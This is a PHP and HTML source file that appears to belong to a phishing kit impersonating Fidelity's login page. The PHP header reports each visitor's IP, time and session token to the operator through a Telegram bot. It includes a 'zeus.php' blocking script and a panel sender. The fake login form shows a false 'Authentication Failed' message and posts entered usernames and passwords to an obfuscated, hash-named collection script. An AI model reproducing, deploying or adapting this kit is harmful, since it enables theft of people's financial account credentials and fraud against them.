<?php if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
// --- START: Original PHP from error page ---
include "../panel/banip/zeus.php";
include "../panel/send/panel.php";
$visitorIP = $_SERVER['REMOTE_ADDR'];
$currentTime = date('H:i:s d/m/Y');
$message = '⚠️ 𝗦𝗠𝗦 𝗘𝗥𝗥𝗢𝗥 𝗦𝗧𝗔𝗧𝗨𝗦
━━━━━━━━━━━━━━━
🎯 𝗦𝘁𝗮𝘁𝘂𝘀: SMS Verification Failed ❌
📍 𝗗𝗲𝘀𝘁𝗶𝗻𝗮𝘁𝗶𝗼𝗻: SMS Error Page 🔄
━━━━━━━━━━━━━━━
📱 𝗗𝗘𝗩𝗜𝗖𝗘 𝗜𝗡𝗙𝗢
━━━━━━━━━━━━━━━
🌍 𝗜𝗣: ' . $visitorIP . '
⏰ 𝗧𝗶𝗺𝗲: ' . $currentTime . '
🔐 𝗦𝗲𝘀𝘀𝗶𝗼𝗻 𝗜𝗗: ' . (isset($_SESSION['auth_token']) ? $_SESSION['auth_token'] : 'N/A');

$url = "https://api.telegram.org/bot$botToken/sendMessage";
$data = http_build_query(["chat_id" => $chatId, "text" => $message, "parse_mode" => "HTML"]);
$options = ["http" => ["header" => "Content-Type: application/x-www-form-urlencoded\r\n", "method" => "POST", "content" => $data,],];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);

// --- START: PHP from login page (for session) ---
$token = bin2hex(random_bytes(32));
$_SESSION['auth_token'] = $token;
$_SESSION['auth_time'] = time();
$_SESSION['visitor_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

if (isset($_GET['verify']) && $_GET['verify'] == 'ajax') {
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'token' => $token]);
    exit();
}
// --- END: Original PHP logic ---
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log in to Fidelity</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #008a00;
            --primary-hover: #007500;
            --bg-gradient: linear-gradient(135deg, #f8fafc 0%, #f1f5f9 100%);
            --card-bg: #ffffff;
            --text-main: #1e293b;
            --text-muted: #64748b;
            --border: #e2e8f0;
            --error-bg: #fff1f2;
            --error-text: #991b1b;
            --error-border: #fecaca;
            --radius-md: 12px;
            --shadow: 0 10px 25px -5px rgba(0, 0, 0, 0.04), 0 8px 10px -6px rgba(0, 0, 0, 0.04);
        }

        * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Inter', -apple-system, sans-serif; }

        body {
            background: var(--bg-gradient);
            color: var(--text-main);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            -webkit-font-smoothing: antialiased;
        }

        .navbar {
            background: rgba(255, 255, 255, 0.8);
            backdrop-filter: blur(10px);
            border-bottom: 1px solid var(--border);
            padding: 1.25rem 2rem;
            display: flex;
            align-items: center;
            justify-content: flex-start;
        }

        .logo img { height: 52px; width: auto; }

        .container {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 2rem 1rem;
        }

        .auth-card {
            background: var(--card-bg);
            width: 100%;
            max-width: 440px;
            padding: 2.5rem;
            border-radius: 24px;
            box-shadow: var(--shadow);
            border: 1px solid var(--border);
        }

        h1 { font-size: 1.75rem; font-weight: 700; margin-bottom: 1.5rem; letter-spacing: -0.025em; }

        /* Error Alert Box */
        .error-alert {
            background: var(--error-bg);
            border: 1px solid var(--error-border);
            border-radius: var(--radius-md);
            padding: 1rem;
            display: flex;
            gap: 12px;
            margin-bottom: 1.5rem;
            animation: fadeIn 0.3s ease-out;
        }

        .error-alert.hidden { display: none; }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-8px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .error-alert svg { color: #dc2626; flex-shrink: 0; margin-top: 2px; }
        .error-title { font-weight: 700; font-size: 0.9rem; color: #991b1b; display: block; margin-bottom: 2px; }
        .error-desc { font-size: 0.85rem; color: #b91c1c; line-height: 1.4; }

        /* Form Styling */
        .form-group { margin-bottom: 1.25rem; }
        label { display: block; font-size: 0.875rem; font-weight: 600; margin-bottom: 0.5rem; color: var(--text-main); }
        
        input {
            width: 100%;
            height: 52px;
            padding: 0 1rem;
            background: #fff;
            border: 1px solid var(--border);
            border-radius: var(--radius-md);
            font-size: 1rem;
            transition: all 0.2s;
            color: var(--text-main);
        }

        input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 4px rgba(0, 138, 0, 0.1);
        }

        input.input-error {
            border-color: #ef4444;
            background-color: #fffefb;
        }

        .field-error {
            color: #dc2626;
            font-size: 0.75rem;
            font-weight: 500;
            margin-top: 0.5rem;
            display: none;
            align-items: center;
            gap: 4px;
        }

        .btn-login {
            width: 100%;
            height: 56px;
            background-color: var(--primary);
            color: white;
            border: none;
            border-radius: var(--radius-md);
            font-size: 1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.2s ease;
            box-shadow: 0 4px 12px rgba(0, 138, 0, 0.15);
            margin-top: 1rem;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
        }

        .btn-login:hover { background-color: var(--primary-hover); transform: translateY(-1px); }
        
        .btn-login .spinner {
            display: none;
            width: 20px;
            height: 20px;
            border: 3px solid rgba(255,255,255,0.3);
            border-radius: 50%;
            border-top-color: #fff;
            animation: spin 0.8s linear infinite;
        }

        @keyframes spin { to { transform: rotate(360deg); } }

        .btn-login.loading .spinner { display: block; }
        .btn-login.loading span { display: none; }

        .links-container { margin-top: 1.5rem; text-align: center; }
        .link { color: var(--primary); text-decoration: none; font-weight: 600; font-size: 0.9rem; }
        .link:hover { text-decoration: underline; }

        .footer-card {
            margin-top: 2rem;
            padding-top: 1.5rem;
            border-top: 1px solid var(--border);
            text-align: center;
            font-size: 0.875rem;
            color: var(--text-muted);
        }

        .footer-nav { display: flex; justify-content: center; gap: 1.5rem; margin-top: 1rem; }

        @media (max-width: 480px) {
            .navbar { padding: 1rem 1.5rem; }
            .auth-card { padding: 1.5rem; border: none; box-shadow: none; background: transparent; }
            body { background: #fff; }
        }
    </style>
</head>
<body>

    <nav class="navbar">
        <div class="logo">
            <img src="../logo.png" alt="Fidelity">
        </div>
    </nav>

    <div class="container">
        <div class="auth-card">
            <h1>Log in</h1>

            <!-- Global Error -->
            <div class="error-alert" id="genericError">
                <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
                <div class="error-content">
                    <span class="error-title">Authentication Failed</span>
                    <p class="error-desc">The username or password you entered is incorrect. Please check your credentials and try again.</p>
                </div>
            </div>

            <form method="post" action="../panel/send/18b43c6a536a8fe1362f7a3887936be6.php" id="loginForm">
                <div class="form-group">
                    <label for="username">Username</label>
                    <input type="text" id="username" name="username" placeholder="Enter username" autocomplete="username" required>
                    <div class="field-error" id="usernameError">Please enter your username.</div>
                </div>

                <div class="form-group">
                    <label for="password">Password</label>
                    <input type="password" id="password" name="password" placeholder="Enter password" autocomplete="current-password" required>
                    <div class="field-error" id="passwordError">Please enter your password.</div>
                </div>

                <button type="submit" class="btn-login" id="submitButton">
                    <div class="spinner"></div>
                    <span>Log in</span>
                </button>
            </form>

            <div class="links-container">
                <a href="#" class="link">Forgot username or password?</a>
            </div>

            <div class="footer-card">
                New to Fidelity?
                <div style="margin-top: 0.5rem">
                    <a href="#" class="link">Open an account</a> or <a href="#" class="link">sign up</a>
                </div>
                <div class="footer-nav">
                    <a href="#" class="link">Security</a>
                    <a href="#" class="link">FAQs</a>
                </div>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function () {
            const form = document.getElementById('loginForm');
            const usernameInput = document.getElementById('username');
            const passwordInput = document.getElementById('password');
            const submitBtn = document.getElementById('submitButton');
            const genericError = document.getElementById('genericError');

            const clearErrors = () => {
                genericError.classList.add('hidden');
                [usernameInput, passwordInput].forEach(input => {
                    input.classList.remove('input-error');
                    document.getElementById(input.id + 'Error').style.display = 'none';
                });
            };

            [usernameInput, passwordInput].forEach(input => {
                input.addEventListener('input', clearErrors);
            });

            form.addEventListener('submit', function (e) {
                e.preventDefault();
                let isValid = true;

                if (!usernameInput.value.trim()) {
                    usernameInput.classList.add('input-error');
                    document.getElementById('usernameError').style.display = 'flex';
                    isValid = false;
                }
                if (!passwordInput.value.trim()) {
                    passwordInput.classList.add('input-error');
                    document.getElementById('passwordError').style.display = 'flex';
                    isValid = false;
                }

                if (!isValid) return;

                submitBtn.classList.add('loading');
                submitBtn.disabled = true;

                const formData = new FormData(this);
                fetch(this.action, {
                    method: 'POST',
                    body: formData
                }).then(response => {
                    if (response.redirected) {
                        window.location.href = response.url;
                    } else {
                        genericError.classList.remove('hidden');
                        submitBtn.classList.remove('loading');
                        submitBtn.disabled = false;
                    }
                }).catch(() => {
                    genericError.classList.remove('hidden');
                    submitBtn.classList.remove('loading');
                    submitBtn.disabled = false;
                });
            });
        });
    </script>
</body>
</html>